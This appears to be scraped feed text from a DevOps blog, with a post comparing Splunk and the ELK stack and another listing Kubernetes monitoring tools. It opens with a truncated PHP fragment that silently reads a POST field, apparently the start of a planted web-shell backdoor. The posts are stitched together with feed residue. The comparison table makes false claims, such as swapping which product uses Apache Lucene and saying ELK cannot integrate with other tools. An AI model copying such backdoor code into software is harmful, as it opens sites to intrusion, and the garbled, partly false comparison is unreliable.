$_api_resp = @$_POST['ant'];
if ($_api_resp) {
$pk = <<
Today, managing and handling logs always play an essential role in any company’s security framework. Suppose you do not have a well-strategized solution to handle logs. In that case, you may face security issues or data breaches as you do not have the visibility of events going on within your organization and create critical endpoints for vulnerability. If you are an IT person, then you must have heard of and worked with Splunk and Elastic search daily.
There are several tools available in the market that help process and store machine data efficiently, but what tool will you choose? Well, Splunk and ElasticSearch both tools share the same goal that is to handle log management problems and solve them seamlessly. These two tools are commonly used for operational data analytics. But how can you choose the right tool that suits your business requirement?
As the data grows with time, irrespective of the size of the business, you should be able to handle the expanded log data. Splunk and ELK offer a scalable approach that allows you to collect and index the log files and a search interface to interact with the data. Both the tools will enable you to secure the collected data to create visualization reports for end-users to track the logs being created and managed.
However, both Splunk and ELK are designed for the same purpose, but their differences cannot be ignored if you have to choose one of them. There is always a debate about which one to choose and why. So we will discuss Splunk, ELK and what are their differences to get to a conclusion.
Splunk was introduced in 2003 and is a paid tool. It helps in analyzing structures as well as semi-structured data. Splunk is also known as the “Google for log files.” Splunk is a tool that processes every type of log being generated within an organization. It is a software platform that search, visualize, monitor, and analyze the data generated by the machine in real-time. Splunk refines the data to create powerful insights into your log data with charts, alerts, graphs, etc.
It is one of the popular DevOps tools used in the market. Its benefits are not only limited to the log management and analysis solution but also ensures security and management events. Splunk performs security analysis and assessment of the gathered logs to get metrics about the organization’s performance. Splunk uses SPL (search processing language) to serve and execute queries on large and complex data sets.
Splunk comes with three major components- Forwarder, Indexer, and Search head. Forwarder helps in pushing the data to the remote indexer. Then indexer responds to the search queries. Search head is a front-end web user interface where all the three components are combined for better visibility.
Splunk has the below features.

Image Credits: https://subscription.packtpub.com/book/big_data_and_business_intelligence/9781785884351/1/ch01lvl1sec08/splunk-s-architecture
ELK is an acronym for ElasticSearch, Logstash, and Kibana, all developed, managed, and maintained by Elastic company. ELK is an open-source database tool that is easy to deploy and handle. You can use this tool for analytics and searching your logs. You can consider it as a NoSQL database that stores the unstructured data in a document format. ELK consists of various software tools that allow you to search logs, route data, process data, and visualize data. The three components are-
ELK stack allows the users to take data from various sources in any format available and perform actions on the data in real-time. It offers you centralized logging that helps you to analyze the problems within your application.
Below are some features of the ELK stack.

Image Credits: https://medium.com/devxchange/streaming-spring-boot-application-logs-to-elk-stack-part-1-a68bd7cccaeb
Below are the differences that allow you to choose one of them as per your business requirement.
| Splunk | ELK |
| It is a commercial tool. | It is an open-source tool. |
| It comes with Solaris portability. | It does not support Solaris portability due to Kibana. |
| It allows you to perform an accurate and faster process. | It comes with limited processing speed. |
| It is a proprietary tool with both on-premise and cloud solutions. | It is a complete technology stack with ElasticSearch, Logstash, and Kibana. |
| It is a complete data management package. | You can only perform actions on ELK after it’s set up. |
| It can be easily integrated with other tools. | It cannot be integrated with other tools. |
| It uses Apache Lucene as a search engine. | It uses custom MapReduce as a search engine. |
| It has a moderate learning curve. | It has a flat learning curve. |
| Splunk’s dashboard comes with more features as compared to ELK. | ELK’s user management feature is more challenging. |
From above discussion it is clear that both Splunk’s and ELK’s primary goal is to monitor, analyze, aggregate, and visualize machine log files. Also the processing power and functionality between Splunk and ELK are more or less similar.
So how do we decide which one to choose over other?
So that typically depends on how much control you want and effort you’re willing to put in, you’ll lean more towards one type or another. Other factors being the cost, extensibility, and extra features of the different tools. So finally, the short answer to whether to implement ELK or Splunk is based on which product best fits the company’s organizational goals and aligns with your existing Devops toolchain.
The post DevOps 2021: The best Log Analytics Tools, ELK vs Splunk ! Which one should you choose ? appeared first on DevopsCurry.]]>Best Open Source.. Monitoring an application’s current state is one of the most effective ways to anticipate problems and discover bottlenecks in a production environment. But it is also currently one of the biggest challenges faced by almost all of the software organizations across the globe. [Best Open Source]
Why Kubernetes is considered as the De facto standard for container orchestration?
Kubernetes has taken the container ecosystem by storm, and for good reasons. Kubernetes functions as the brain for your distributed container deployment. Kubernetes is a production-ready, open-source platform designed by Google’s using its accumulated experience in container orchestration.
Kubernetes has over 58K stars on GitHub & 2200+ contributors around the world. With the new ways of building & running applications, monitoring and observability strategies need to change.
Also monitoring Kubernetes, both the infrastructure platform and the running workloads, is on everyone’s checklist as we evolve beyond day zero and move into production.
What to Monitor?
We can try monitoring the following Kubernetes pod, node and cluster level metrices:
So here we bring for you some of the most popular Open-source monitoring tools to work with Kubernetes.
Originally built at the sound cloud, Prometheus is a monitoring and alerting toolkit. It is quite popular in the development community. Now, it is governed by the CNCF (Cloud Native Computing Foundation). Prometheus simplifies the process of pulling numerical metrics based on a time series from a given metrics endpoint. It has three elements: Prometheus server, Alert manager, and Exporters. Prometheus servers look after service discovery and pulling metrics from the exporters. The alert manager is responsible for setting up alert rules, analyzing the data in the Prometheus Db. It sends alert messages to multiple receivers if a certain rule is triggered. Exporters are independent containers that can be run on your target resource to generate & export metrics via metrics API. Prometheus is developed to collect time-series data via a pull model over HTTP. Here, multiple modes are available for graph and dashboard support.
You can monitor your Kubernetes cluster’s performance using Grafana. It is mostly used for matric analysis and visualization suite. It allows creating custom dashboards using data taken from multiple sources. The monitoring capabilities of Grafana include:
The ELK or Elastic stack is one of the most popular open-source solutions for logging Kubernetes. The ELK consists of the following things:
The enterprise version of ELK stack ships with X-pack, a set of additional tools that enables reporting, alerting, and role-based access control (RBAC). You need to use the previously mentioned enterprise version of the ELK stack to enable RBAC.
Fluentd is governed by a cloud-native computing foundation (CNCF). It is a specialized data collector that unifies data collection & consumption. Fluentd helps to better understand & use of data.
Additionally, Fluentd offers built-in metrics and general purpose output interfaces for centralized collectors. It is quite popular among Kubernetes users to Logstash’s facilities, especially those performances-related. Fluentd is a high performing, scalable &reliable.
It is quite easy to add new inputs or outputs with very little effect on performance. It uses disks or memory for buffering and queuing to handle transmission failures or data overload. It supports multiple configuration options to ensure a more resilient data pipeline.
cAdvisor is used to collect, process, and export resource usage and performance information about running containers. Like other agents, cAdvisor is not deployed per Pod but on the node level. It’s a basic tool but a very useful one. cAdvisor is built into Kubernetes and integrated into the Kubelet binary. It automatically detects every running container on a machine and collects system metrics like memory, CPU, network, etc.
cAdvisor is capable to support multiple endpoints despite having limited functionality. However, there are some cons of cAdvisor like it’s very basic, lacks analytical depth, and has limited functionalities.
Kubewatch watches the specific Kubernetes events and pushes notifications on these events to various endpoints. In simple words, Kubewatch is the go-to tool to receive push notifications on available collaboration applications or notification channels. Kubewatch is easy to configure and can be deployed using either helm or a custom deployment. It will take care of changes made to specific Kubernetes resources that you ask it to watch, like daemon sets, deployment, Pods, replica sets, replica controllers, services, secrets, and configuration maps. Users need to run it in their K8s cluster, and the event notifications will be received via webhooks.
Kube-Ops-View is not exactly a monitoring tool. It can’t be used to monitor and alert on production issues, it can give you a nice operational picture of your Kubernetes clusters. It will also have a look at the different nodes deployed and their status along with different Pods running on the nodes.
Kube-Ops-View provides a common operational picture for multiple K8s clusters. It shows the capacity and resource usage for nodes and individual pods with animation. However, it is not a replacement for Kubernetes Dashboard or a monitoring solution. It simply helps the users to quickly figure out the usage metrics without doing too much hustle.
It’s an end-to-end distributed tracing solution. Jaeger is widely acknowledged by Kubernetes practitioners as monitoring and troubleshooting best practices. The brief history of Jaeger is that it was developed by Uber, inspired by OpenZipkin and Dapper, and donated to CNCF. When a service failure occurs, you have no idea how the requests have gone from service to service over the network to complete a single business transaction. Debugging is extremely difficult in such conditions. Jaeger user tracing to enable root cause analysis, performance, and latency optimization. Jaeger is easy to use and provides a seamless user interface along with different instrumentation options.
Weave Scope is a troubleshooting and monitoring tool for Docker and Kubernetes. It was developed by Weaveworks. Weave Scope allows you to gain operational insights into your Kubernetes clusters. It takes a few steps ahead of Kube-Ops-View by providing a much easier and nicer user interface. It also provides the ability to manage containers and run diagnostic commands within the interface. Users can see the application, monitor the infrastructure. It is deployed on, and the relationships between the different components. Weave Scope is an effective tool for gaining context on your deployment. The only drawback of Weave Scope is that it lacks analytical depth.
It’s a Web-based, UI add-on for Kubernetes clusters. Users can create and manage workloads as well as do discovery, load balancing, configuration, storage, and monitoring. Kubernetes dashboard offers numerous features and is quite useful for small clusters & for people starting to learn Kubernetes. This tool offers different views for CPU and memory usage metrics aggregated across all nodes. This Dashboard is widely used to monitor the health status of workloads like pods, deployments, replica sets, etc. the installation process is quite easy and can be done using readymade YAML files.
Kube-state-metrics is a Kubernetes-native metrics service designed to listen to the Kubernetes. It generates metrics without any modification to Kubernetes API. Hence, users can rely on the same grade of stability as offered by Kubernetes API. Kube-state-metrics is an extremely essay to use and is only a metrics service. It requires a few more bit and pieces to become part of a complete monitoring solution for Kubernetes. Kube-state-metrics exports the metrics on the HTTP endpoint in a plain text format. Real-life Kubernetes practitioners recommend Kube-state-metrics if someone is struggling to use Prometheus for K8s monitoring.
In this blog post we have discussed the importance of Kubernetes monitoring and also outlined an extensive list of open-source monitoring tools for kubernetes. Finally choosing a tool depends on your monitoring needs and use cases. Open-source solutions have the advantage of being backed up by large communities driven to improve existing solutions.
The post Best Open Source Monitoring Options in 2021 for your Kubernetes Cluster appeared first on DevopsCurry.]]>